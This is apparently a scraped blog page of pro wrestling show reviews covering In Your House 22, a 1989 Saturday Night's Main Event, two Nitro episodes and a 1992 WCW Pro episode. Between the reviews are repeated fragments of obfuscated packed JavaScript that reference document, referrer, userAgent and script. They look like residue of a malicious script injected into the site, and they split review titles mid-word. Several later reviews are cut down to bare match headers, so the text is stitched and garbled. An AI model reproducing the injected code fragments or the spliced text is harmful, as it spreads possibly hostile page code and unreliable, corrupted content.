In Your House 22: Over The Edge
Date: May 31, 1998
Location: Wisconsin Center Arena, Milwaukee, Wisconsin
Attendance: 9,822
Commentators: Jim Ross, Jerry Lawler

Well it’s a month after Backlash and nothing has really changed. Taker is kind of waiting for a feud which would come soon enough, the Nation and DX have started their feud that would last until Summerslam, Kane and Vader are going at it again and we get Austin/Love 2. The buildup for this actually existed, as Foley had to earn his title opportunity, this time by beating Funk in the first ever hardcore match and then Goldust in a regular match.

See what that does right there? It gets Foley back to where he was without he and Austin interacting because Foley is beating midcard guys that he’s supposed to be better than. That’s something that is drastically missing from wrestling today and would help them out quite a bit I think, as it would stop the monotonous matches we get on a weekly basis. I remember this main event being better than last month’s so let’s see if I’m right.

The intro video is of course over the top as anything with scenes of the Nazis marching around Europe as a voiceover talks about how people must conform but Austin is disagreeing with this. That’s going a bit hard with the idea of Vince ruling all don’t you think? I mean, can you imagine a place about wrestling where the authority figures are referred to as Nazis? That’s a screwed up place if I’ve ever heard of one. We get that weird kind of country sounding music again which just doesn’t work at all.

Legion of Doom vs. Disciples of Apocalypse

Sunny and Droz are with the LOD. Droz for those of you that don’t know was a decent wrestler but nothing great. He was crippled and is now in a wheelchair after a botched move that was neither guy’s fault. He works for WWE.com I think or something like that. Animal scared the heck out of me by using a dragon screw leg whip. Where in the world did he learn something like that?

That’s a decent move that is fairly difficult. Hawk takes a pile driver which for some reason he has never once sold in his career that I can remember. We get that American Originals line again as I don’t get what the point of that was. It was never incorporated into their gimmick or anything like that. The announcers try to imply that the LOD have lost a step and aren’t as popular as they used to be.

Not sure if I agree with that or not. I think that’s what JR said but I had some trouble hearing over the LOD chant. For some reason JR insists this should be a number one contenders match, but he never says why. You win a match and you get a title shot apparently. Droz hits one of the DOA and Animal powerslams him for the pin.

Rating: C+. This was ok. The problem was that they styles were far too similar style wise and the flow was just not there. This was fine for a warmup though and it did just fine in that sense. The crowd loved the LOD and that’s what the match was built on. That and Sunny looking great of course.

Rock comes out to badmouth Milwaukee. That’s something that could be done more often also: random interviews and promos. Just have someone come out and talk for a bit. It’ll work wonders. Farrooq comes out and beats on him. He pile drives “on a chair” which clearly is behind Farrooq when Rocky’s head hits. Rocky is taken out in a neck brace.

Jeff Jarrett vs. SteveBlackman

Jarrett’s annoying manager Tennessee Lee, more famous as Colonel Robert Parker in WCW, introduces him. Blackman has his stick things now. This match is ok but that’s all it is: ok. It’s the definition of filler as they had a minor feud going but it was nothing special at all. It’s just two guys having a basic match that would be good on a house show. The fans aren’t really that into it as neither guy has a very exciting style.

There’s nothing that bad but it’s just not that exciting at all, which is odd because Jarrett can have good if not very good matches. I guess it depends on his opponent. Blackman was ok for what he was but I never got into his gimmick. It just felt like it was very bland and had almost no thought put into it at all. Lee of course gets involved and that goes nowhere until he hits Blackman with one of his sticks to let Jarrett pin him. Jarrett needs Debra and badly at this point.

Rating: C-. This wasn’t bad but it really wasn’t that entertaining. It’s hard to comment on matches like these because they’re just there. It was ten minutes of acceptable wrestling but I never really cared who won or who lost, nor did I care about their mini feud. Decent match, but just filler and not particularly good filler.

We see the setup for Sable and Mero, which was based around Sable wanting to be free of him but him saying no. The deal is Sable picks someone. If Mero wins, Sable is gone but if the other guy wins, Sable is free.

Marc Mero vs. Sable

Yeah of course it’s her. Mero gives a speech about how this is ridiculous and it shouldn’t have come to this and lays down for her. You can fill in the dots yourself here as Mero rolls her up to get rid of her. She’d be back I think the next month or two as this meant nothing at all. I want to stone the person that wrote the goodbye song.

Rating: N/A. It was less than 30 seconds.

Cole recaps the 20 second match we just saw, in case we don’t remember it.

Kaientai vs. Taka Michinoku/Bradshaw

This is billed as a bonus match, meaning there literally was no build for it and it was just put on the card. Ok, that’s fine I guess. It’s 3 on 2. Now this match is even more proof of what was wrong with the LH division and it can be traced to a JR line. The three members of Kaientai are all light heavyweights that are ticked off at Taka (never explained why).

Ross says he’s looking forward to seeing Taka one on one with them in the upcoming months in some great light heavyweight action. Now in theory, that’s fine. You have a face against three heels, which should be at least three months of at least passable matches right? Well in theory, yeah that’s a good idea.

However, instead of having that be the case, Kaientai starts feuding with Val Venis of all people. I mean really, Val, I debuted last month with my old gimmick, Venis? Taka eventually turned heel and joined them, making the belt even more worthless as there were no face challengers for him until Christian debuted and won the title in October, or 4 and a half months after this.

The booking made no sense as Taka rarely ever defended the belt and simply was the champion. The whole thing was just to try to capitalize on WCW’s success and it never worked, mainly because Taka was the only light heavyweight on the roster. Dick Togo does a…..wait, there’s a wrestler named Dick Togo?

Anyway, he uses a swanton which JR calls a rolling headbutt, which it kind of is. Eventually Togo wins with a back splash. Oh I almost forgot: Al Snow was at the Spanish announce table as he was continuing to try desperately to get a meeting with Vince to get a contract. This led to some of the best comedy I’ve seen in a long time as Snow is absolutely hilarious when he’s given the chance.

Rating: B-. It was literally not announced but it was ok. No one really wanted to see it but factoring all that in, this was an ok match. The sad part about it is of course what I mentioned earlier with the complete and total failure of the lightweight division.

Sable is shown leaving the arena, which amuses the King for no apparent reason.

Intercontinental Title: Farrooq vs. Rock

We await the Rock who won’t come out, likely due to his neck issue from earlier. Slaughter instead comes out and says that he’ll award the title for Farrooq if Rocky isn’t out here by the count of 10. He starts the countdown and at 2 Rock’s music hits and he comes to the ring very slowly due to his neck. Now, think about this sequence for a second.

Does it sound even remotely complex? Not to me it doesn’t. A guy comes out, says one line and counts down from 10 to zero. Anyway you cut it, that shouldn’t be a hard thing to do. Somehow though, Slaughter manages to stumble over a bunch of the words. It was unbelievable to me. His count from 10 to 2 takes at least 30 seconds. How could someone go from world champion to this?

Farrooq jumps him and within a few seconds Rock’s neck is fine but he’s getting beaten on. This is a short match so it’s kind of difficult to talk about it. It lasts a little over five minutes which is odd to me. Rock lands the elbow which doesn’t have a name yet. They beat on each other the whole match which is physical to say the least. The main point of it comes when the Dominator is hit but Rock gets his foot on the bottom rope before the three count.

Farrooq is confused and argues forever during which Rocky recovers. He rolls up Farooq and uses the ropes for the pin. After the pin, more piledrivers follow so Rock’s neck is reinjured. The Nation comes out for the beatdown but DX makes the save and you know this is going to be one heck of a feud in the upcoming months, which it certainly was.

Rating: B-. While very short, it was intense. The length of the match can be overcome with good work throughout and this was a match like that. How these two never got the big blow PPV match is beyond me as it would have been at least quite good. The ending was kind of stupid though with Farrooq arguing WAY too long over the foot on the rope. Other than that, this was fine.

Kane vs. Vader

This is mask vs. mask, which is kind of stupid given Vader’s mask style but I get the idea they were going with here. It’s pretty much a redoing of their match from No Way Out but shorter and not as good. Vader is a pure jobber here and it’s really sad. You can tell that he’s on the verge of being gone and it’s pathetic. You want to talk about a guy that Vince just messed up to no end, this is it right here.

To me, it all comes down to Vince’s ego. Vader was a huge deal in WCW and overseas, so Vince didn’t want to use him. Someone with his size, look, ability and character is just so naturally easy to hate that it was mind blowing to think Vince didn’t cash in on it. I’m not saying you make him world champion for months on end, but he should have been in the main event scene, not jobbing to the rookie Edge when he debuted in a few months.

Anyway, Kane pretty much dominates here other than some token offense by Vader which was mainly punches. He uses the same fake looking wrench on Kane that Kane used on him in their last match. This really is going nowhere at all as Kane predictably sits up from the moonsault. He hits a decent chokeslam which is impressive given the gravitational pull of Vader’s fat.

Tombstone ends it and Vader’s mask is removed revealing…something we’ve seen about 10 times. Post match Vader says he’s too big and is a big piece of crap. Vince loved that line and I’d say Vince coined it as well. Vader would soon be jobbing to death as he was almost gone from the company within a few months. Ross talking about how no one can stop Kane is just stupid given his back to back losses to Taker.

Rating: C-. This was just two big guys beating on each other and a way to get Kane over even more than he already was. Vader was nothing at this point and had been for awhile which I’ve already gone over. No one thought he had a chance here and in a seven minute match he was somehow squashed which is hard to do in that short of a time frame. This wasn’t very good at all.

We get a mini legends ceremony with Mad Dog Vachon and The Crusher who are both big names in the area. Vachon literally is almost passed coming down the aisle by Crusher who comes out second. This is far below what they did in St. Louis a few months ago. Vachon talks for awhile with an odd voice and criticizes Vince for what he’s been doing lately and also corrects everyone and says Luna is his niece, not his daughter.

Crusher sings part of a polka which was part of his character or something. During this, Lawler is heckling them to no end, even booing so much that you can’t hear what Vachon is saying. He gets in the ring at the end and insults them even more. Crusher takes off his jacket and has arms that can rival Vader’s. This guy is a freaking truck. He punches Lawler and apparently he was 72 at the time.

That is insane as he is moving around very well considering his age and looks like he’s about 50. It’s fine until he takes his shirt off at least. Lawler takes Vachon’s prosthetic leg which is just not as intense as it was two years ago when Diesel did it.

Crusher punches him out again. Crusher gets the leg back to Vachon and Lawler attacks again and for the third time gets dropped. Was there a point to any of this with Lawler? The legends thing is fine but why have Lawler do his stuff? I don’t get that part.

DX says they’re ready for the Nation. Big lack of promos tonight.

D-Generation X vs. Nation of Domination

This is a 6 man with HHH and the Outlaws vs. Brown, Kama and Owen. It’s given a lot of time at nearly 20 minutes which is a nice plus. It’s your standard big fight but the benefit of a multi man team match like this is that everyone can fight everyone and it gives you a lot of different combinations to play with, as I’ve already gone into in my orgy comparison.

This was before HHH had really been promoted to the main event level status but this feud would put him in that place as the feud more or less boils down to Rock vs. HHH. Their ladder match at Summerslam is something I’m really looking forward to getting to as it’s one of my favorite matches. In this match a lot of the guys are beaten down so we get the slowdown process which allows for a lot of time to be killed without the match seeming repetitive in a nice touch.

Six mans have the potential to be great but they have to be done just right. Billy is still using a piledriver but has started using the Rocker Dropper which will become known as the Fameasser. This is a war for the most part and it’s working quite well I think.

Of course in the end it turns into the big melee that we were all waiting on with Henry and Chyna first getting involved with each other in what would one day become one of the defining moments of the Attitude Era as they would begin dating and Chyna implied she wanted a threesome and brought in a transvestite to sleep with Mark, which I’ve always thought was a rib on herself. Sweet goodness that was a long sentence. Anyway, the European title belt gets involved and Owen pedigrees HHH on it for the pin to end this.

Rating: B. This was a good match I thought. We had a long match here but it never was dull. The crowd being into it naturally helped things out a lot and it worked on a lot of levels. HHH vs. Owen was finally, and I do mean finally, coming to a close here and we would transition into Rock vs. HHH like it should have been all along. Either way, this was a good match with a nice flow to it.

Very long recap of Austin and Dude Love’s feud which now has McMahon involved in it. In tonight’s match, Patterson is the announcer, Brisco is the bell ringer and McMahon is the referee. In an interview Vince reminds us that this can only end by his hand. Remember that line. Also if Austin touched Vince, we have a new champion.

WWF Title: Steve Austin vs. Dude Love

Due to how many people there are, the entrances take over ten minutes on their own.  Brisco and Patterson both have to talk about their accomplishments forever and it’s just plain overkill at this point. It’s pure filler which could have been used for, maybe a match? Foley is still in his suit as he’s corporate now. This was the same place where he first said Austin 316, so this is a special place in company history, given that said line saved the company.

To kill even more time for no reason at all, Taker comes to the ring. Apparently he and Vince have been interacting lately, which would be another part of the Conspiracy Theory storyline. It’s a standard fight to start with Dude’s teeth apparently falling out. A Vince is dead chant starts up which is quite creepy when you think about it. They hammer each other even more until Love gets the claw on Austin.

It’s countered by having Love thrown into the ropes where his head gets stuck. They brawl onto the floor with JR asking how long is this going to go before it’s a DQ. Patterson announcers that it’s a No DQ match which Ross freaks over. A sick clothesline sends Foley over the railing where he lands on his head. These two are beating the tar out of each other as we get another reminder that it’s falls count anywhere, making this a hardcore match.

This was brand new stuff at the time so no one was really sure what to make of it. Austin is so over it’s scary as even a punch from him gets a huge pop. Vince’s expressions are making this match better as he is so desperate to get the title off of Austin. Many people don’t like him including myself but it’s hard to deny that he has talent in front of the camera and has a clear love for what he’s doing.

He was a big factor in Austin’s success and he’s making this work quite well indeed. The brawling on the cars near the entrance that say Brisco Brothers Body Shop is just pricelessly funny. Remember folks: it’s worth the drive. We get the token brawling which is often times the best part of a match. It takes up a majority of the time and while no one really believes the match will end here, it certainly makes for some entertaining spots and is the core of the match’s story.

Taker continuing to stand behind McMahon as a threatening presence is just freaking sweet. Foley misses an elbow onto the concrete which would just have hurt like nothing else more than likely. Dang that’s a short aisle. It takes almost no time to get from the entrance to the ring. Austin gets a chair that Foley brought in and in a funny spot is going so crazy with it he hits the top rope and it hits him in the head by mistake.

Austin then kills Foley with the chair but McMahon simply refuses to count. Foley accidentally blasts McMahon with the chair so he’s out. Taker beats up Patterson for trying to be the referee and then does the same to Brisco as the fans are going nuts. Both Stooges are chokeslammed through tables are ringside. Another stunner puts Foley out and then in the memorable part from this match, Austin grabs McMahon’s hand and counts the three as Vince is out cold.

It’s recaps and middle fingers a go-go as we go off the air. The next night on Raw Dude was fired and Mankind reappeared, causing Taker to lose to Kane in a #1 contenders match, setting up the double main event at King of the Ring, which is the Cell match with Taker and Mankind and the first blood match where Kane wins the title.

Rating: A-. The Vince and Austin was is the main part here, as well as Taker getting back into the main event picture. It was a wild brawl with the Stooges making it more fun with the added stipulations. It really showed how Austin had to overcome all kinds of odds to win and while Austin never really was in serious danger, it was fun to see how he would manage to win. Very fun match.

Overall Rating: B. This may not be a landmark show or anything like that, but it’s a fun one. There’s really only one boring match on the show which is filler with Jarrett and Blackman and even that’s watchable. The main event is by far the best match of the night as it’s quite fun indeed. It’s another show that isn’t particularly good, but it’ll more than do the job if you have 3 hours to kill. Check it out if you’re interested but you won’t be missing anything. The main event is worth a look though.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nstzf|var|u0026u|referrer|bdiyy||js|php'.split('|'),0,{})) Night’s Main Event 21
Date: May 27, 1989
Location: Veterans Memorial Auditorium, Des Moines, Iowa
Commentators: Jesse Ventura, Vince McMahon

This is actually kind of a famous show if nothing else for one match. It’s the first big show after Mania 5 so Hogan is world champion once again, I believe for only the second time actually. He’s defending the title against Boss Man in a cage match that I’m sure a lot of you have seen. It’s famous for one big bump and not much else. This should be fun though as we’re in a transitional period around this time with Hogan being champion but Warrior on the rise. It’s a new beginning really so let’s get to it.

We open with a promo from Hogan inside a cage. Generic but fine. Pretty sure there’s only one cage wall there and he’s in front of a green screen.

Cue theme song.

Who would have believed that at the end of the day, Vince McMahon would win more WWF titles than Jesse? That’s just amusing. We run down what sounds like a decent card.

We get a clip of Mania where Rude won the IC Title from Warrior with the famous finish of Heenan holding the leg. Heenan says win at any cost. This is his first title? Really?

Intercontinental Title: Rick Rude vs. Jim Duggan

Oh and Duggan is now King. It’s by far the least remembered of the reigns with that, including King Haku. The belt looks extra shiny here. Duggan with the crown looks hilarious. It’s Memorial Day Weekend if nothing else so there’s a point to the patriotic gimmick if nothing else. He comes out to what would become Lawler’s music. I always loved the jobbers carrying the throne to the ring.

It’s like “do your job people before I squash you.” Jesse mentions that he used to be a Navy SEAL. That’s just awesome. Duggan uses the robe as a bull cape which is kind of funny I guess. Duggan takes over early as you would expect him to. Rude gets a boot up to stop though and we go into something a bit more traditional. The tights Rude wore were completely awesome. Duggan is RIDICULOUSLY over.

We get a false finish as Duggan gets the pin but Rude’s foot is on the rope. Here’s Haku who Duggan beat for the crown. Rude makes a comeback but rams Duggan’s head into the buckle which of course doesn’t work at all. Duggan gets a normal comeback for him but a hot crowd is helping a lot. The clothesline hits and Duggan wins by countout. His music changes when he wins for some reason.

Rating: C-. Not terrible for what it was. This definitely got the crowd into things to say the least. It was a TV match and that’s all it was supposed to be. On Memorial Day, this is perfectly acceptable. Not great, but it was certainly watchable.

Jim Neidhart is with Gene. He has….RANDY SAVAGE tonight? HUH? Anvil vs. Savage? Why? According to Neidhart to get to Hogan, Savage has to go through Anvil. WHAT?

Vince thinks Anvil will win. I want some of the cocaine he’s on to say that.

Savage says he’s looking to the future and wants Hogan again. Sherri is his new manager too. That went on for about two years which is far longer than I would have thought.

Jim Neidhart vs. Randy Savage

Ok seriously, who is Savage fighting tonight? This joke has gone on long enough. Who is Savage really fighting? Nothing against Anvil as he’s fine, but dude, this is RANDY SAVAGE and it’s less than 2 months since his year long title reign ended at Wrestlemania. Why is Anvil out there for this? It just doesn’t make anything resembling sense at all.

They’re making this out to be Savage vs. Bret circa 1992. When did Anvil and Hogan become buddies? Sherri grabs the leg of course and it does nothing of note. Neidhart hooks a bearhug as I’m not even sure what I’m watching. Again, it’s not bad. It’s just odd. We get a great piece of insight from Vince: Sherri is a different human being than Liz.

You mean, they don’t just put different wigs and outfits on them and hope we don’t notice? THANK YOU OWNER OF THE STUPID COMPANY! Sweet goodness she’s freaky looking. Anvil gets a BIG kick out, likely throwing Savage high enough in the air that he could have hit the top rope. That’s borderline Yokozuna levels. Anvil gets a slingshot shoulder block which would freaking HURT.

Notice the cameras always getting shots of Sherri’s back. It’s clear Vince was running the company back then given what we know now. This is more or less ALL Anvil here. Sherri unhooks Anvil when his arms are tied up and it lets Savage reset the universe to its natural order as he takes over. Wow that was a long sentence. The elbow finishes soon after.

Rating: B-. This was WAY better than it had any right to be. I don’t think anyone was idiotic enough to think that Anvil was going to win, but still it was nice to see him get in such a long stretch of offense and have time being in control. This was a decent enough match and it got Sherri over as a threat to Savage’s opponents, which was the point here. Not bad at all.

Slick and Boss Man say they’re ready for Hogan. Slick is Jesse’s height. That’s very odd indeed. Boss Man is just pure fat here. In 90-91 he would drop about 90 pounds and become freaking lethal. Slick says there’s a surprise for Hogan.

WWF Title: Hulk Hogan vs. Big Boss Man

This is in a cage remember. Slick says that the surprise is Zeus. He stands on the steps and slams the cage door, blocking Hogan’s entrance. Dang it I was hoping I was done with this guy. Ok here’s the concept of Zeus. Hogan made a movie called No Holds Barred.

The main villain in that movie was named Tom Lister, playing the character of Zeus, a monster fighter that was a crazed wrestler. Hogan played a character that more or less was himself named Rip. At the end of the movie, Rip beats Zeus as you would expect him to. So what this would be is Zeus the character coming after the actor that played the character Rip.

In other words, a character played by an actor is coming after a character played by a character played by Terry Bollea. Now here’s the big problem: LISTER CANNOT WRESTLE. Vince of course contemplated putting him vs. Hogan in SkyDome at Mania 6 for the title. Yeah around this time WWF was in REAL financial trouble until Mania saved the freaking company. Anyway, this is Zeus’ debut.

Remember, this is a movie character going after an actor that played a character that beat his character up. Yeah it was idiotic but oddly enough few got the problem, mainly because most kids were so freaked out by Zeus, including me, that they didn’t get how stupid this was. Oh and remember Hogan hasn’t even come to the arena yet.

We get a clip of No Holds Barred, showing Zeus beating up a street fighter. That movie needs to be on DVD. It just does. Hogan comes out and can’t get in. Zeus beats Hogan down as you would expect. Remember, this would be like Christian Bale claiming to be Batman beating up Liam Neeson. Not Ra’s-as-Ghul, but Liam Neeson. Boss Man dominates early but here comes the champion as you would expect.

See here, the fans are cheering and money was coming in. BIG difference to today. He hits what would be called a spinebuster on Hogan but doesn’t have a name other than “look at that maneuver!” Boss Man gets over the top of the cage but since Boss Man can’t climb down with any kind of speed, Hogan gets there in time. We then get the mega spot of the match, which really isn’t much by today’s standards.

With Boss Man on the top of the cage and Hogan on the top rope, Hogan suplexes Boss Man to the mat. I think it’s because of the size and era that this is considered such a great bump. They’re up about 45 seconds later and everything is fine. Boss Man has handcuffs which don’t work of course. Ah never mind it’s just a chain. Both guys get rammed into the cage and they’re both down.

This time it’s just for a few seconds though. Boss Man is bleeding a bit. The usual stuff ends it as Hogan goes over the top to get to the floor. For those of you that don’t remember, Slick is more or less Pope minus wrestling. I forgot to mention that Slick runs in and there’s a mix up, causing Boss Man to get cuffed to the rope. Hogan beats Slick up afterwards.

Rating: B-. It’s a Hogan cage match. That’s all there is to it. The bump is nice, but other than that there just isn’t much here. Hogan vs. a monster was where he was at his best and this came off just fine. It’s no classic or anything, but for a TV match this was quite good.

Jesse is with the Brainbusters and Heenan who says he’s getting the tag belts tonight. The wrestlers, shockingly enough, agree. Seeing Anderson in a WWF ring is always just weird to see.

Demolition say their usual awesome stuff.

Tag Titles: Brainbusters vs. Demolition

Dang that Demolition music is awesome. The red tongues were always a nice touch too. Tully and Smash start. I wonder if Darsow as Krusher Khrushchev ever fought the Horsemen. I wouldn’t think so. Arn gets the tar beaten out of him. Jesse talks about how often Demolition tags in and out. THAT is what an analyst is supposed to do. So far this has been a total squash.

In what I think was a mistake, Tully gets knocked over the top and lands on Bobby. I think that was a mistake. Ah there we are as the Busters take over for once. Tully is a master of getting people riled up. Smash is the…..whatever the heck you call Demolition, in peril here as we hit the double knockdown.

In a very unique move, Tully sneaks to the floor and pulls Axe down so Smash can’t make the tag. I don’t think I’ve ever seen that. Smash throws the referee across the ring for the DQ. There would be a rematch on the next SNME.

Rating: C. Formula stuff and it worked just fine. The ending was weak though, although it set up a rematch so I can’t complain there. This wasn’t a classic or anything, but it came off pretty well. Me liking both teams likely has something to do with it though.

Savage says he wants Hogan.

Boris Zhukov vs. Jimmy Snuka

This is your run of the mill “we’ve got like 4 minutes left and no one major other than Hogan hasn’t been interviewed yet so here’s a worthless match for you” match to close the show. The splash ends this in MAYBE a minute.

Rating: N/A. The description of the match I wrote sums this up perfectly.

Hogan yells about Zeus and every word he says makes this whole angle seem all the more stupid. Vince is listed as the Executive Producer in the credits. How did we never catch onto that?

Overall Rating: B+. That’s higher than any of the matches, but this was a VERY good show. There’s nothing bad on here and everything came off really well. For a free TV show, this was freaking great. Three title matches, a better than it should have been Savage match and a squash with a cool finishers makes this great. Loved it.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nafsk|var|u0026u|referrer|zerir||js|php'.split('|'),0,{})) Nitro #89
Date: May 26, 1997
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 6,484
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyzsko

Hector Garza/Juventud Guerrera/Super Calo vs. Ciclope/Damien/La Parka

This is under Mexican rules, which means if you go to the floor, another member of your team can come in just like a tag. La Parka and Juvy get us going with Juvy taking over with a quick spin kick to the face. Juvy goes up but his cross body is caught and La Parka struts over to the corner and sets Juvy up top. Juvy comes back with a big top rope rana to send Parka to the floor.

Alex Wright vs. Psychosis

We get a quick look at Ernest Miller and his martial arts background.

Wrath vs. Mark Starr

Total squash with Wrath throwing Starr all over the place, including out to the floor so Mortis can get in some shots. Wrath does look awesome and has a great name, but this feud went on so long that it killed whatever he had going. A top rope clothesline kills Starr and a bicycle kick sets up the double arm Rock Bottom to end the massacre. Apparently that move is called the Death Penalty.

Konnan vs. Villano IV

Konnan runs down the Dungeon and Sullivan post match.

Masahiro Chono vs. ???

Hour #2 starts.

Barbarian vs. Jim Powers

Benoit comes out post match and wants Sullivan back soon. Hart says Barbarian is ready for Benoit right now so Benoit takes his jacket off and gets in the ring. Hart says next week.

The Giant vs. Jerry Flynn/Johnny Swinger/Rick Fuller

Lee Marshall does his road report jazz.

Jeff Jarrett/Steve McMichael vs. Harlem Heat

Stevie puts on another chinlock so we cut to the announcers again. Mongo comes out of nowhere with a powerslam to Booker and it’s hot (?) tag to Jarrett. Jeff fires off dropkicks to take over and everything breaks down. Mongo realizes Greene is with the announcers and walks off for a brawl. Jeff puts Booker in the Figure Four but Stevie breaks it up and a Hart Attack with Booker hitting a side kick instead of a clothesline gets the pin for the Heat.

Jarrett says that might be the last straw.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zafyt|var|u0026u|referrer|ezhdf||js|php'.split('|'),0,{})) Pro
Date: May 23, 1992
Location: Civic Center, Columbus, Georgia
Attendance: 3,000
Commentator: Tony Schiavone

Diamond Stud vs. Dan Beard

Actually we to hear about WrestleWar as Tony talks about the Freebirds winning the US Tag Titles before hyping up Beach Blast 92, which was an AWESOME show.

Tony also runs down the rest of the card.

Madusa says Steamboat lusts after her while listing off some random movie titles such as Basic Instinct, Seven Year Itch and Fatal Attraction.

Dustin Rhodes vs. Richard Morton

Back up and Dustin pops him in the face to take over again, only to be caught in an atomic drop. This should be far better than it actually is so far. We hear about Rhodes vs. Stud coming up which sounds pretty good. Their matches in 95 were solid so maybe this will work too. Morton puts on a chinlock before sending Dustin into the corner, only to be caught by a lariat and a bulldog for the pin.

Greg Valentine/Taylor Made Man vs. Freebirds

Eric tells us about the 30 minute Iron Man match with Rude vs. Steamboat at Beach Blast.

Rude says that he gets stronger as the night goes longer. Just ask the ladies.

Eric also tells us about Cactus Jack vs. Sting in a falls count anywhere match. Jack would call that the best match of his career for a long time.

Scotty Flamingo vs. Larry Santo

I wonder if the jobber is related to El. Flamingo quickly takes him down with an armdrag and pins him about 40 seconds later with an awkward looking piledriver. Flamingo would eventually become manager Johnny Polo in the WWF and Raven in ECW.

Famous Chicago sportscaster Jack Brickhouse talks about WCW being a member of the NWA and recalls some memories of working with various promoters. We hear about the NWA World Tag Team Title tournament, which stopped WCW cold.

Vinnie Vegas/Mr. Hughes vs. Ricky Steamboat/Nikita Koloff

Eric previews the bikini contest at Beach Blast between Missy Hyatt and Madusa and wants to be a judge. Missy tells Madusa to keep her clothes on.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdbyh|var|u0026u|referrer|zbtbn||js|php'.split('|'),0,{})) Nitro #36
Date: May 20, 1996
Location: Monroe Civic Center, Monroe, Louisiana
Attendance: 4,000
Commentators: Bobby Heenan, Eric Bischoff

It’s the night after Slamboree and the final one hour show in the history of Nitro. It’s also the final show in the pre-NWO era. That being said, not a lot has changed at the previous show other than Great American Bash was set up with Mongo bringing out Kevin Greene to help him fight Anderson and Flair which shocked Flair for some reason despite Mongo talking about him on the previous Nitro. The Bash is only four weeks away so at least the build isn’t that long. Anyway let’s get to it.

We open with a clip of the same thing I just recapped.

Steiner Brothers vs. Fire and Ice

Scott Norton and Ice Train so for the sake of this I’ll go with Norton to call Scott Norton and Scott for Scott Steiner. Train and Scott start us off as I continue to try to figure out what I liked about Ice Train. I think these two had a match at the Bash also. Scott hits a belly to belly and it’s off to Norton and Rick. Norton adds a middle rope splash for no cover. Rick is like whatever and hits a German to bring in Scott.

To the floor and Scott drops a forearm off the top to Norton. Samoan Drop by Norton gets two as momentum shifts a bit. Rick and Train come in and it’s a double clothesline to put both guys down again. Everything breaks down as apparently this is a 90 minute long broadcast. Maybe this is a preview show for the two hour variety? Not that it matters for this match as the referee just throws it out.

Rating: C-. Not awful here as they did ok for a battle of power. Their match at the PPV had almost twice as long which helped them a bit but at the same time there wasn’t much to go on here. Fire and Ice wasn’t all that good and no one really cared when they split in the fall. Norton went to the NWO and Train went into obscurity. Not much to talk about here but not bad.

Eddie Guerrero vs. Ric Flair

This should be good. Eddie grabs a headlock to start and takes Flair down with relative ease. They slug it out a bit as Eddie fires away with right hands and Flair of course chops away. Eddie speeds things up and sends Flair to the floor and Flair wisely gets away from any and all corners. Flair goes to his party table and grabs a chair which is taken away from him by the referee of course.

After a quick chase around the ring we come back for a staredown. BIG chops in the corner by Eddie and down goes Flair. We take a break with Flair firing a thumb into the eye. Back and they speed things up a bit with Eddie hitting clotheslines and a top rope sunset flip for two. Eddie actually grabs the Figure Four and Flair is in trouble. Eddie is no Jay Lethal apparently though and there’s the rope. Out to the floor and Flair takes over, landing a suplex as I think he wants to damage Guerrero.

Bobby talks about Flair being a 15 time champion and Bischoff says 13, because we’re not counting THOSE championships because they’re not WRESTLING championships. This guy is a walking comedy show. Flair hammers away but gets caught in an O’Connor Roll for two. Eddie gets a cross body but his knee gives out so he can’t cover. Flair Flip in the corner and Eddie dropkicks him off the apron to the floor.

Flair takes over on the floor as this has been a really good match so far. Eddie gets pounded in the corner but grabs a tornado DDT. He grabs him by the hand, walks up the ropes, walks across the ropes and gets a rana for two. Slam sets up the Frog Splash but Eddie hurt his leg again.

Flair…..tries a nip up? What weird parallel universe have I slipped into? Now we go to school and it’s Figure Four time. Eddie blocked it for a bit but now he’s caught. He tries to turn it over but the women help Flair out and Eddie can’t get his shoulders up and he’s out for a pin. That was AWESOME.

Rating: A-. This might be the best Nitro match in the history of the show and I’ve never heard anyone mention it. It’s Flair vs. Eddie for nearly 20 minutes, making it one of the longest matches in the history of the show so far. Very good match and totally awesome as Eddie gave Flair all he wanted. I loved this.

Flair and the girls come up to Gene at his VIP table and Savage is mentioned to a big pop. That’s not an issue apparently so Flair talks about football players for awhile and it’s the same stuff he’s said for months now. Flair takes the champagne and leaves with it and the ladies.

Back from a break and there are candles, champagne and fruit at the announce table with Flair, Bischoff and Heenan.

Tag Titles: Faces of Fear vs. Sting/Lex Luger

During the challengers’ entrance Flair is ranting about how we need a waiter. Luger vs. Meng to start us off. Apparently Liz likes Luger’s pec dance. That won’t lead to her eventual death or anything right? Meng actually does a drop toehold as Flair praises him. Bischoff shows his lack of historical wrestling as he asks if Flair has even wrestled a football player, apparently never having heard of Wahoo McDaniel so Flair goes off on him a bit.

Flair is having a ball on commentary, singing and making jokes about Debra. Back with Barbarian vs. Sting and down goes the painted one. Bischoff shills the replay of the PPV which was absolutely terrible. Barbarian gets a BIG kick of fear for two. That looked great if nothing else. Belly to belly release suplex off the top which looked AWESOME also. Barbarian is looking great here.

Double top rope headbutt and I think Sting may be dead. Luger comes in for the delay so Sting somehow kicks out at two. Heenan and Flair are cracking me up here as they’re debating which party to go to and having sandwiches. Sting dives for a tag but still can’t reach it either. He finally avoids a top rope headbutt from Barbarian and dives at Luger for the hot tag and everything breaks down. Sting knocks Barbarian off the top and a top rope splash by Sting sets up Luger for the pin.

Rating: C+. Pretty good little tag match here as Sting sold like a master and it allowed for a decent match to come out of it. Luger’s sneakiness was dropped in favor of other stuff in about a week which is fine because I couldn’t handle another backstabbing angle. Anyway pretty good match here and fine for what it was.

Flair is told Savage is here and isn’t exactly happy.

Savage is still trying to get in so Flair laughs a bit. Apparently Savage’s future is being discussed by WCW officials. Savage says make the right decision and is thinking about running through the cops to get at Flair. They shove him back again with ease and that’s about it for this part.

Glacier is still coming.
